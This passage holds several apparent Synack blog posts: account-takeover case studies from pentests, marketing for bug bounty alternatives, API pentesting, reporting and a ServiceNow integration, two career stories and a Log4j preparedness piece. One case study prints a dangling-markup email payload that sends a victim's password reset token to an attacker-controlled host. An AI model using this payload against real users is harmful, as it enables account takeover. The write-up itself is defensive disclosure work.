• Forgot your password? – Sometimes “forget password” implementations can be vulnerable to password reset token leaks, HTTP leaks, bypassing poor security questions, Host header injection or HTTP Parameter Pollution attacks. 
• Credential Stuffing – In this method, attackers use lists of compromised user credentials to breach a system. Bots can be deployed for automation and scale, based on the assumption that many users reuse usernames and passwords across multiple services.

Examples of Account Takeovers

Here are five anonymized ATO case studies from a variety of industries, including healthcare, software, government and commerce. 

Case Study 1 

In the case of an American chain restaurant, I used trufflehog, a Python search tool, to review the target. While scanning the application, it produced an alert of hard-coded, JavaScript credentials. Browsing the JavaScript, I found some UPS credentials had been hard coded, as shown in the screenshot below.

Using these credentials, I was able to login into their UPS account as an admin which granted me access to sensitive information and control over their shipments.

Case Study 2

Another ATO was for a collaboration software application. While resetting the password for an admin account, I found that the application leaked their password reset token in response, as shown in the screenshot below.

Using this token, I was able to reset the admin password. Sometimes, it really is that simple. 

Case Study 3

This is a case study of a product from a medical equipment company. I tested the whole application without getting any vulnerabilities and at the end decided to check the forget password flow. While requesting the password reset token, the application sent the following request that revealed a path for me to exploit.

I used a Dangling Markup such as <img src=”http://attacker-ip/?id= in the email body before the reset link and sent it to the user. Now as soon as the user opens the email, their password reset token will be sent to me instead.

Case Study 4

The scope of this target was a wildcard and unauthenticated testing only, so I first did some reconnaissance. I found an interesting subdomain that asked for a DVN ID and password to login.

I searched about DVN IDs in help articles, and I found out it’s a 9-digit number assigned to all vendors at the time of licensing.

I did Google searches but didn’t come up with this particular ID. I ended up looking at Google images results in hope that licensing could have been done with paper and could have this ID number included.

Cool, I was correct! Licensing was done on paper and I got a couple of valid DVN IDs in the subject of letters, such as: 

Now that I had this ID, I tried brute-forcing to get a password. When that turned up nothing, I retested the “forget password” flow. It asked for the DVN ID first before resetting the password. I found that the application used two requests for resetting the password. One for querying the password for DVN ID and another one sending a newly generated password to their email ID inside the request itself.

So, this disclosed not only their password but emails too. Using the newly generated password, I was able to login into their account.

Case Study 5 

I was scanning targets for an American food and beverage company when I came across an event application. The application asked for a valid user email to login, and those company emails were whitelisted. I tried with my name@companydomain at first to see the error message and I found the following.

I noticed an email for support was given at the bottom of the page to reach out for any trouble. I thought: Why not attempt it? I entered some information and found the following screen:

The application asked to set the password, and after setting up a password, I was able to login as admin:

Further, while checking the attendee directory, I found multiple accounts that could’ve been taken over using the same method.

Conclusion 

It’s hard to believe that someone with little to no technical experience could gain the level of access that I did, but you should! Account takeovers can be complex, but they can also be relatively simple. All it takes is a bit of creativity and motivation, and just about anyone can login as an admin.

The post Account Takeovers:  Believe the Unbelievable appeared first on Synack.

What Is a Bug Bounty Program? 

The concept of bug bounty programs is simple. You allow a group of security researchers, also known as ethical hackers, to access your systems and applications so they can probe for security vulnerabilities – bugs in your code. And you pay them a bounty on the bugs they find. The more bugs the researcher finds, the more money he makes.

Assessing the value or success of bug bounty programs can be difficult. There is no one methodology or approach to implementing and managing a bug bounty program. For example, a program could employ a couple or hackers or several hundred. It could be run internally or with a bug bounty partner. How much does the customer pay for the program and what reward should the hacker get?

While many organizations have jumped on the bug bounty bandwagon over the last decade or so, the results have been disappointing for some. Many companies disappointed by their bug bounty experience have talked with Synack. We can group their experiences into three major categories: researcher vetting and standards, quality of results, and program control and management.

Researcher Vetting and Standards

When you implement a bug bounty program you are relying on ethical hackers, security researchers that have the skills and expertise to break into your system and root around for security vulnerabilities. Someone has to vet those hackers to ensure that they can do the job, that they have the level and diversity of experience required to provide a thorough vulnerability assessment. And how do you know that someone signing up for the program has the right skills and is trustworthy? There are no standards to go by. Some bug bounty programs are open to just about anyone.

Quality of Results

Bug bounty programs are notorious for producing quantity over quality. After all, more bugs found means more rewards. So security managers often find themselves wading through piles of low-quality and low-severity vulnerabilities that divert their attention and resources from serious, exploitable vulnerabilities.  For example, an organization with internal service-level agreements (SLAs) for remediation of vulnerabilities may be forced to spend time on low-priority patching, just to have good metrics. This isn’t always the best path to minimize risk in the organization.

Results can also be highly dependent on the group assigned to do the hacking. Small groups – we have seen some programs that have only a handful of researchers – suffer from a lack of diversity and vision. Large groups usually cast a wider net but are more difficult to manage and control. And how much your researchers get paid is an important consideration. For example, if a company pays “average” compared to other targets on a bug bounty platform, they will not get the attention of above-average researchers. Published reports from bug bounty companies state that only 6-20% of found vulnerabilities have a CVSS (Common Vulnerability Scoring System) of 7.0 or greater, which would be below the typical customer experience seen at Synack.

Program Control and Management

By far the biggest drawback to bug bounty programs is the lack of program control and management. Turning a team of hackers loose to find security bugs is only the first step. Did they demonstrably put in effort in the form of hours or broad coverage?  What happens after bugs are found? How are the results reported? Who follows up with triaging or remediation? Who verifies resolution? 

The short answer is… it depends. Every program has its own processes and procedures. The longer answer is that most bug bounty programs don’t put a lot of effort into this area. Hackers are left to go off on their own with little monitoring. They don’t see analytics that help them efficiently choose where to hack. Internal security teams may need to wade through the resulting reports, triage the found bugs, resolve or remediate the bug condition, and verify that bugs have been appropriately addressed.

An Integrated Approach to Vulnerability Testing

These are just a few of the problems associated with bug bounty programs. But even without these issues, attacking vulnerabilities with a bug bounty program is not a panacea to test your cybersecurity posture. Finding high-criticality vulnerabilities is fine, but you need to consider context when assessing vulnerabilities. You need to take an integrated approach to vulnerability testing.

Synack provides high-quality vulnerability testing through its community of 1,500+ vetted security researchers, the Synack Red Team (SRT). Not tied to a bug bounty concept, Synack manages the SRT and provides a secure platform so they can communicate and perform testing over VPN. Through the platform Synack can monitor all the researcher traffic directly, to analyze, log, throttle or halt it.

Synack researchers are all highly skilled and bug reports typically have signal-to-noise ratios approaching 100%.  High and critical vulnerabilities making up approximately 40% or more of reports is typical. Beyond simply finding bugs, researchers consider context and exploitability and recommend remediation steps. They can retest to confirm resolution or help customers find a more airtight patch.

So when you consider your next offensive security testing program, know what you’re getting with bug bounty programs. Think comprehensive pentesting with a company that can help you locate vulnerabilities that matter and address them, now and in the future.

The post What’s Wrong with Bug Bounty Programs? appeared first on Synack.

Last week, we released a new API Pentesting product that allows you to test your headless API endpoints through the Synack Platform. Before the release, we conducted more than 100 requests for headless API pentests, indicating a growing need from our customers. This new capability provides an opportunity to get human-led testing and proof-of-coverage on this critical and sprawling part of the attack surface.

Testing APIs Through Web Applications Versus Headless Testing

For years, Synack has found exploitable API vulnerabilities through web applications. However, as Gartner notes, 90% of web applications now have a larger attack surface exposed via APIs than through the user interface. Performing web app pentests is no longer adequate for securing the API attack surface, hence the need for the new headless API pentest from Synack. 

Our API pentesting product allows you to activate researchers from the Synack Red Team (SRT) to pentest your API endpoints, headless or otherwise. These researchers have proven API testing skills and will provide thorough testing coverage with less noise than automated solutions.  

The Synack Difference: Human-led Coverage and Results

Automated API scanners and testing solutions can provide many false positives and noise. With our human-led pentesting, we leverage the creativity and diverse perspectives of global researchers to provide meaningful testing coverage and find the vulnerabilities that matter. SRT researchers are compensated for completing the check and are also paid for any exploitable vulnerability findings to ensure a thorough, incentive-driven test.  

Additionally, each submitted vulnerability is vetted by an in-house team called Vulnerability Operations. This reduces noise and prevents teams from wasting time on false positives. 

Write-ups for the testing done on each endpoint will be made available in real time and are also vetted by vulnerability operations. The reports can also be easily exported to PDFs for convenient sharing with compliance auditors or other audiences. 

These reports showcase a level of detail and thoroughness not found in automated solutions. Each API endpoint will be accompanied by descriptions of the attacks attempted, complete with screenshots of the work performed. Check out one of our sample API pentest reports.

How It Works

Through the Assessment Creation Wizard (ACW) found within the Synack Platform, you can now upload your API documentation (Postman, OpenAPI Spec 3.0, JSON) and create a new API assessment. 

For each specified endpoint in your API, a “Mission” will be generated and sent out for claiming among those in the SRT with proven API testing experience. The “Mission” asks the researcher to check the endpoint for vulnerabilities like those listed in the OWASP API Top 10, while recording their efforts with screenshots and detailed write-ups. Vulnerabilities tested for include:

• Broken Object Level Authorization
• Broken User Authentication
• Excessive Data Exposure
• Broken Function Level Authorization
• Mass Assignment
• Security Misconfiguration
• Injection

Proof-of-coverage reports, as well as exploitable vulnerability findings, will be surfaced in real-time for each endpoint within the Synack Platform.

Through the Synack Platform, an exploitable vulnerability finding can be quickly viewed in the “vulnerabilities” tab, which rolls up finding from all of your Synack testing activities. With a given vulnerability, you can comment back and forth with the researcher who submitted the finding, as well as request patch verification to ensure patch efficacy. 

Retesting On-demand

As long as you’re on the Synack Platform, you have on-demand access to the Synack Red Team. To that end, APIs previously tested can be retested at the push of a button. Simply use the convenient “retesting” workflow to select the endpoints you want to retest and press submit. This will start a new test on the specified endpoints, sending out the work once more to the SRT and producing fresh proof-of-coverage reports. This can be powerful to test after an update to an API or meet a recurring compliance requirement.

Get Started

Get started today by downloading our API pentesting data sheet.

The post Minimize Noise With Human-Led API Pentesting appeared first on Synack.

Reporting is a critical but often-overlooked component of cybersecurity testing

The overall goals of nearly any technology can be summed up by the title of a song by the popular French music duo Daft Punk: “Harder, Better, Faster, Stronger.” New technologies are commonly judged against two or more of these characteristics. Applying this to cybersecurity tools, does it harden my attack resistance? Can it do the job better with less cost or resources? Does it do the job faster? And ultimately are my defenses stronger?

But in the urgency to design and implement the features that will achieve these goals, there is one component that is often overlooked. Reporting. Can I get the right information into the hands of the right people in a form that they can use?   

Original cybersecurity pentest reports were descriptions of what was done, what was found and what might be done about it. They were composed for the security team paying for the test and were usually in the form of a data dump. Three or four hundred page reports were commonplace, and why not? What better way to show all the work that you have done, even if the pentests didn’t actually produce any viable results.  

Further, those reports were created once for each pentest resulting in a fossilized memento of what was done, usually destined to occupy a few MB of storage on a hard drive, and eventually forgotten in an archive.

Synack decided there had to be a better way to communicate pentesting results. They focused on three key innovations: customizability, scheduling and human components.

Customizability:

In this information age, too much information can be as punishing or painful as too little. Not everyone cares about every component of a pentest. For example, a painstaking regurgitation of the scope of the test may matter to an auditor, but not a developer tasked with patching found vulnerabilities. Synack reports are highly customizable, allowing for purpose-built, audience-customized reports to be created on the fly. Each person can get the report they need, without unnecessary information. And this sort of reporting uses less resources than generating a single report for everyone. 

Scheduling:

People throughout an organization have different appetites for information. We’ve seen organizations that want weekly reports on Continuous tests, but only for host and network assets. Others want a fresh report every time their web app has a new feature ship, coinciding with the 14-day sprint schedule that drives their CI/CD. Synack can handle all of those scenarios with reporting customization AND a robust role-based access control (RBAC) system. Synack’s RBAC customizable reporting also allows security teams to implement Least Privilege Access so various information needs can be met without the risk of testing data being seen or modified accidentally or by anyone without proper authorization. So testing results get in peoples’ hands without delay.

Human Components:

The most important question you need to ask about any cybersecurity test is, “Why do I care and what do I need to do?” Ultimately, with the thousands of discrete tests performed and vulnerabilities found, Synack decided that a human-written summary was usually what helped customers the most. Every Synack pentest comes with a human-written summary, written by people separate from the actual testing, triage or service delivery to gain maximum benefits from independent thinking. Customers get the actionable information they need to strengthen their cybersecurity defenses. And they get it in a form that is to the point and easy for them to digest.

To see our reporting feature in action, watch this short video.

The post Reporting Can Be the Hero or Villain of Your Cybersecurity Pentesting appeared first on Synack.

Trevor Granger is a Technical Manager in Operations, Federal. He has 18 years of service and is currently in Officer Training School for the Air Force.

I was a freshman in high school when September 11th, 2001 happened. I will never forget my principal’s somber voice on the intercom telling us matter-of-factly that a terrorist attack had occurred. We spent the rest of the day watching the news to try to understand what took place. I couldn’t have known it at the time, but that traumatic event set in motion a personal journey that, many years later, would see me enter the field of cybersecurity as a member of the military. 

I was unfocused as a kid and was headed in the wrong direction. Fortunately, my brother and cousin encouraged me to join the Marines, which I did at age 17. I turned 18 in boot camp at Marine Corps Recruit Depot San Diego, but nothing seemed to matter less than my birthday while there. I quickly learned the individual matters far less than the mission and the Marines around them.

Fast forward to 2010: With one Iraq deployment in the bag, I was getting out of active duty to become a city cop, my dream job at the time. I joined the Army National Guard, served in the Field Artillery and was a cop for less than a year until I realized I wanted nothing to do with that career. It just wasn’t for me.

I had no idea what I was going to do, but with some advice from my family, I used my GI Bill benefits to get a cybersecurity degree. In 2017, after another Middle East deployment, I switched services again into an Air National Guard Cyber Operations Squadron, which is when I realized how incredible a career in cybersecurity could be for me, my family and my nation.

I started working for Synack in the summer of 2018. I can’t believe how much my life has changed in the course of a few years. Giving up on my dream of being a police officer seemed like the end of the road for my lofty career aspirations, but I was now making quite a bit more money, working for a company that cares about its employees and their families, and still serving the greater good. I am now at 18 years in the military and 4 years with Synack, and I couldn’t be happier! I believe I found my calling here and am grateful to love what I do.

There’s no magic formula for breaking into the field of cybersecurity from the military. But it helps to build a solid LinkedIn profile: Don’t downplay your experience or intelligence. Armed services like the Marines may drill away the importance of the individual in deference to the mission, but when it comes to seeking employment in IT or cybersecurity, don’t be afraid to highlight your unique skills! I’d recommend joining a group like VetSec that can get you “plugged in.” There are so many opportunities out there. 

Don’t focus all your attention on degrees and certifications (unless required for your “dream job”) and instead, network. Meeting people in this industry will help you develop, focus your studying and skill-building and give you the best chance of finding someone willing to take you on and train you up. And know that there are many, many reservists, veterans and military spouses already in the cybersecurity community ready to support you on your journey!

For more information about Synack’s work with veterans, visit our Veterans Page.

The post How I Found My Next Mission In Cybersecurity appeared first on Synack.

Mohammad Jassim is a 17-year-old member of the Synack Red Team. 

In 2017, I was that rare seventh grader who had Ubuntu installed on their laptop. Typing “sudo apt-get install software-center” every chance I got boosted my ego – I was practically Mr. Robot! At this rate, I thought nothing could stop me from taking over the world. Well, until I broke my Chromebook’s screen and got caught bypassing enterprise enrollment.

Call it an early lesson in ethical hacking. But over the next few years, my love for technology grew. I’d had my fair share of living outside my comfort zone as a 13-year-old learning English as my second language. But when it came to technology, I felt at home, like the smartest person in the room. Freshman year came, and I still was acting too smart for my own good. Little did I know, I was about to be surrounded by people who were way smarter than me.

CyberPatriot is an Air Force, blue team-based competition that is strictly focused on teaching defensive cybersecurity. BINGO! A place for me to put in everything I had learned so far, except for the first time in my computer science journey, I was wrong. Turns out, I knew nothing! Saying “I know” every time someone tried to teach me something was the reason I missed out on countless learning opportunities.

CyberPatriot made me  more receptive to learning from others. After getting into an argument with someone on Discord about how Windows uses NTLM hashes (and finding out I was completely wrong), I realized I needed to open my eyes. Becoming a better listener and a more open-minded person helped me become more knowledgeable! So much so that the following year my team and I were able to make it to nationals and place fifth in the “All Service” category!

After a humbling but successful CyberPatriot season, I realized that cybersecurity was the field for me. I liked blue teaming, but I felt limited. So, I learned how to play on the red team. After all, offense is the best defense. In August 2021, my friend Julian got me on HackTheBox and held my hand through the beginner tracks. Immediately, I was hooked! When I was on a break from my fast food job, I rushed to my laptop to spin up a PwnBox and start hacking from my browser. After four months of non-stop boxes and a ProLab I decided it was time to get my Offensive Security Certified Professional certificate (OSCP).

But I had new problems arise. 

1. I was only 16 years old. How was I going to pass the rigorous exam? According to the hacking subreddit, it’s a warzone!
2. My family isn’t exactly the most financially stable. How was I going to afford a $999 course?
3. Did I mention the subreddits say the test is a warzone?

Although those concerns were valid, I thought of some advice my uncle once gave me in his booming voice: “IF THERE’S A WILL THERE’S A WAY, MOHAMMAD!” So I worked away at a tech department job until I was able to afford the exam. In December 2021, I officially bought my OSCP.

The next few months were stressful; I was balancing early college classes and OSCP at the same time. I eventually came around to booking my exam in February. By the end of the exam I not only was able to pass it, I was also the first 16-year-old to ace the new version of the OSCP! 

Knowing me, however, things always tend to go wrong. My 100+ page report was accidentally deleted, uh oh. I hastily rewrote one in two hours and submitted it MINUTES before the deadline. After school on Monday, I was expecting the email to arrive, as my friends and I finally packed up to leave. I heard the notification from my phone and there it was, the OSCP passing email.

Little did I know my life was about to change. After moving to an early college program, my old school informed me that I could no longer compete with their CyberPatriot team. This caused me to panic a little bit as I still wanted to compete for my last two years. In a desperate attempt, I found a team down in Austin. After officially becoming a part of the team, I was introduced to infosec pro Josh Sokol. After I aced my OCSP, Josh was incredibly proud and helped me network. Turns out, Josh knows Ryan Rutan, director of community for the Synack Red Team (SRT), and Ryan wanted me to do the assessment for SRT. This blew my mind: Me?!??! Synack>!>!>!>! hello!??!?!?! After a few assessments and an interview, I was officially a Synack Red Team member.

Fast forward to today, I am an active member of the Synack Red Team. I have a lot I would still like to achieve and definitely need to find a way to contribute and better the platform. This opportunity has helped me to work remotely at 17 while making enough to live comfortably. I would like to end off by saying: I am not a perfect person, nor am I a perfect student, friend, coworker, son or even hacker, however, that’s never stopped me from trying my best. My main purpose is to inspire people to join this amazing field and to be able to find a way to shine—no matter your age. There were so many moments when I could’ve called it quits because I didn’t fit today’s standards, but I didn’t let that stop me. I truly don’t think I’m smarter than anyone, however, I do know for a fact that I love this field. What next you may ask? Well, I still need to finish school, get my OSCE3 at 17 and potentially bug bounty my way into MIT . 

P.S. Extremely special thank yous!

I have to start off with my parents because I wouldn’t be half the pentester I am today without their love and support. Thank you, big bro Julian, for literally everything, if I were to name everything it would be longer than this blog post. Thank you, Eric, for believing in me and never letting me complain about my circumstances. Thank you, Parker, for securing me a spot on the CyberPatriot team. Thank you, Mr. Sokol for believing in me and getting me in touch with the right person. Thank you, Ryan, for taking a chance with me and setting up a mentor system. Speaking of mentors: Thank you Neil, Malcolm, Nicolas, William and Timah – without y’all, my SRT journey would’ve been rough.

The post Growing into the Synack Red Team appeared first on Synack.

Synack, the premier security testing platform, has launched an API pentesting capability powered by its global community of elite security researchers. Organizations can now rely on the Synack platform for continuous pentesting coverage across “headless” API endpoints that lack a user interface and are increasingly exposed to attackers.

“Synack’s human-led, adversarial approach is ideal for testing APIs that form the backbone of society’s digital transformation,” said Synack CTO and co-founder Mark Kuhr, a former National Security Agency cybersecurity expert. “We are thrilled to offer customers a unique, scalable way to secure this growing area of their attack surfaces.”

Gartner estimates API abuses will be the most common source of data breaches in enterprise web applications this year. Synack enables organizations to verify exploitable API vulnerabilities like broken authorization and authentication–noted in the OWASP API top 10–can’t be abused by malicious hackers.

“Many organizations are struggling to find the top-tier cyber talent needed to root out API-specific vulnerabilities,” said Peter Blanks, Chief Product Officer at Synack. “We’re excited to extend our Synack platform to provide human-powered offensive security testing on APIs.”

Synack’s headless API capability builds on years of API pentesting experience through web and mobile applications. The new platform features allow customers to enter API documentation to guide testing scope and coverage. Next, researchers with the Synack Red Team attempt to exploit API endpoints in the way a real external adversary would.

Of the Synack Red Team’s over 1,500 global members, only those with proven API testing skills are activated on API requests, reducing noise. Synack’s Special Projects division led over 100 successful pentests against headless APIs in 2022, providing customers with critical proof-of-coverage reports while validating researchers’ API expertise.

Vulnerability submissions and testing reports are routed through Synack’s Vulnerability Operations team for a rigorous vetting process before being displayed in the platform, minimizing false positives and ensuring high-quality results.

For more information about Synack’s API security testing, visit our Solutions page.

The post Synack Expands Security Platform with Adversarial API Pentesting appeared first on Synack.

With the anniversary of Log4j looming, it is a good time to reflect on the wider significance of the vulnerability that had security teams scrambling in December 2021. What can the response to the flaw in a widely used Apache Software Foundation logging tool tell us about the state of global IT security? Most importantly, how should we respond to similar vulnerabilities that are bound to emerge in the future? 

The reason for the heightened concern surrounding Log4j stemmed not only from the scale of the exposure, but also the difficulty in quantifying that exposure. People knew or suspected they were using Log4j but did not necessarily know to what extent and on which devices. It’s like a fire alarm going off: You suddenly know you may have a problem, but you don’t know exactly how big a problem or where in the house it might be. 

Log4j also speaks to the well-documented challenge of relying on open source software. We cannot live without it, but in doing so we introduce dependency and risk in ways we had not always anticipated or prepared for. Events like Log4j won’t deter organizations from using open source software. The cost and pain of building tech stacks from scratch is simply too great for the vast majority of organizations.

Much of the media coverage of Log4j highlighted the panicked response. Security teams reacted swiftly and decisively as they sought to contain the risk, with much of the work happening over the festive holiday period to the chagrin of those affected.

That was the right course of action, but it is unsustainable to react in crisis mode all the time. This will burn out your hard-working security team, not least the experts on your networks and systems—key people you don’t want to lose. Vulnerabilities like Log4j are a fact of life, so a different pattern of response is needed. One that allows business operations to continue and risk to be continuously managed. 

That calls for first understanding the information security risks you are trying to manage. It sounds obvious, but can you articulate this for your organization? Does your leadership fully understand? Is this something you review with your board periodically? Your security response should flow from a set of priorities articulated by your experts and endorsed by your leadership, or else you are destined for infosec busywork rather than purposeful risk management. 

It follows closely that you also need to understand your assets. What data, information and systems do you have? How do you rely on them and what happens if they go away?

With these foundations in place, you can start to build what you need to take all sorts of security challenges in stride, including the next Log4j, whatever that may be.

Training is a key aspect of a measured response. Your whole organization should be trained on the basics of cybersecurity and how to improve cyber hygiene. The security, engineering and infrastructure teams need a plan of action to manage your organization’s response to a new, major vulnerability. Plan your incident response and consider simulating how you would respond as part of a table-top exercise. Revisit this plan from time to time—don’t let it gather dust in a ring-binder in an office no one goes to any more! 

These suggestions aren’t easy to implement, but they’re an investment in the longevity of your organization and your security teams. Synack can help augment your security team’s efforts by leading one-off missions to assess assets, going through security checklists or performing continuous pentesting on your entire organization. Contact us to learn more.

The post Battling the Next Log4j: How to Prepare Your Security Team While Avoiding Burnout appeared first on Synack.

ServiceNow, a leading provider of management tools for security and IT operations, has joined forces with Synack to help Security Operations Center (SOC) operators spot and correct gaps in vulnerability detection and protection.

Enterprises rely on ServiceNow to monitor, manage and respond to security incidents from across their hybrid infrastructure. By cohesively gathering, correlating and remediating incidents originating from their wide spectrum of security defenses, ServiceNow improves an enterprises’ SOC workflows, efficiency and effectiveness.

Although a SOC’s defenses, led by their ServiceNow implementation, can be best-in-class, they are, by nature, reactive to vulnerabilities and breach attempts as they occur. Offensive security testing allows an enterprise to proactively evaluate effectiveness and proper configuration of security defenses and spot and correct gaps in vulnerability detection and protection before actual attacks occur.

Traditional approaches to security testing include yearly compliance audits and pentests which, while necessary, are not dynamic enough to test defenses against new vulnerabilities that may surface at any time. At the same time, requiring SOC staff to proactively test security defenses on a continuous basis has historically been impractical and too costly.

To address this challenge, Synack’s Premier Security Testing Platform leverages the power of our automated smart scanning combined with human triage and pentesting by the Synack Red Team (SRT). The SRT is our expert, vetted community of 1,500+ security researchers available on demand to test against new exploits. Using Synack testing, SOCs receive confirmed reports of exploitable vulnerabilities along with recommendations for remediation.

Synack’s certified integration with ServiceNow Vulnerability Response Management allows enterprises to manage exploitable vulnerabilities discovered by Synack as part of their established workflows and processes in ServiceNow. Using the Synack integration, the entire lifecycle of offensive testing and security gap remediation is managed from within ServiceNow, streamlining SOC efficiency and responsiveness to emerging threats.

The addition of Synack to ServiceNow offers the following capabilities:

• Enables 24x7x365 testing of network and application assets monitored by a SOC team.
• Proactively tests security controls, with continuous adversarial testing against new vulnerabilities.
• Combines smart and automated scanning with human intelligence for thorough analysis of exploitable vulnerabilities.
• Scalable, on-demand testing via the SRT.
• Automated testing, combined with human triage, greatly reduces SOC alert noise and false positives.
• Identify sources of critical risk to prioritize assets for deeper penetration testing and targeted SOC remediation efforts.
• Attacker resistance score to quantify risk on an organization and asset-by-asset basis.
• Integrated management of testing, findings, and patch verification.
• Detailed reports and recommendations concerning exploitable vulnerabilities, triaged by the SRT and Synack Operations.

How Synack complements and optimizes a ServiceNow-managed SOC:

• Synack findings are integrated with the SOC’s ServiceNow tools and processes to ensure coordinated workflow.
• Efficiently blends the benefits of full time in-house or dedicated SOC resources with the diverse perspectives of a team of vetted security testing talent to meet surges in demand.
• Allows SOC operators and analysts to identify gaps in security detection and prevention capabilities, and through re-testing by SRT, prove that their SOC remediation efforts are successful.
• Provides a manageable and repeatable security testing process to facilitate continuous posture improvement.

To learn more about the ServiceNow and Synack partnership, visit our ServiceNow partner page.

The post Optimize Your SOC with ServiceNow and Synack appeared first on Synack.